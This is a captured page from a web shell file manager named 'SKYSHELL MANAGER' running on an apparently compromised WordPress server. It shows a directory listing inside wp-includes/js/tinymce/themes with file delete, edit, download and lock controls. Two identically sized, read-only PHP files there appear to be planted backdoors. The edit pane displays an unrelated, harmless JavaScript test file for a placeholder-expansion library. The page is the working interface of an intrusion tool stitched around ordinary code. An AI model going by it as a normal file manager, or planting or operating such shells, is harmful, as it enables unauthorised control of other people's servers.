📁
SKYSHELL MANAGER
PHP v8.3.6
Create
Create
Path:
root
/
var
/
www
/
cstage
/
wp-includes
/
js
/
tinymce
/
themes
/
Name
Size
Perm
Actions
📁
inlite
-
0755
🗑️
🏷️
🔒
📁
modern
-
0755
🗑️
🏷️
🔒
📄
ms-files.php
6.83 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-activate.php
6.83 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
Edit: test.js
var test = require('tape') var Expand = require('./') test('default expands {} placeholders', function (t) { var expand = Expand() t.equal(typeof expand, 'function', 'is a function') t.equal(expand('{foo}/{bar}', { foo: 'BAR', bar: 'FOO' }), 'BAR/FOO') t.equal(expand('{foo}{foo}{foo}', { foo: 'FOO' }), 'FOOFOOFOO', 'expands one placeholder many times') t.end() }) test('support for custom separators', function (t) { var expand = Expand({ sep: '[]' }) t.equal(expand('[foo]/[bar]', { foo: 'BAR', bar: 'FOO' }), 'BAR/FOO') t.equal(expand('[foo][foo][foo]', { foo: 'FOO' }), 'FOOFOOFOO', 'expands one placeholder many times') t.end() }) test('support for longer custom separators', function (t) { var expand = Expand({ sep: '[[]]' }) t.equal(expand('[[foo]]/[[bar]]', { foo: 'BAR', bar: 'FOO' }), 'BAR/FOO') t.equal(expand('[[foo]][[foo]][[foo]]', { foo: 'FOO' }), 'FOOFOOFOO', 'expands one placeholder many times') t.end() }) test('whitespace-insensitive', function (t) { var expand = Expand({ sep: '[]' }) t.equal(expand('[ foo ]/[ bar ]', { foo: 'BAR', bar: 'FOO' }), 'BAR/FOO') t.equal(expand('[ foo ][ foo ][ foo]', { foo: 'FOO' }), 'FOOFOOFOO', 'expands one placeholder many times') t.end() }) test('dollar escape', function (t) { var expand = Expand() t.equal(expand('before {foo} after', { foo: '$' }), 'before $ after') t.equal(expand('before {foo} after', { foo: '$&' }), 'before $& after') t.equal(expand('before {foo} after', { foo: '$`' }), 'before $` after') t.equal(expand('before {foo} after', { foo: '$\'' }), 'before $\' after') t.equal(expand('before {foo} after', { foo: '$0' }), 'before $0 after') t.end() })
Save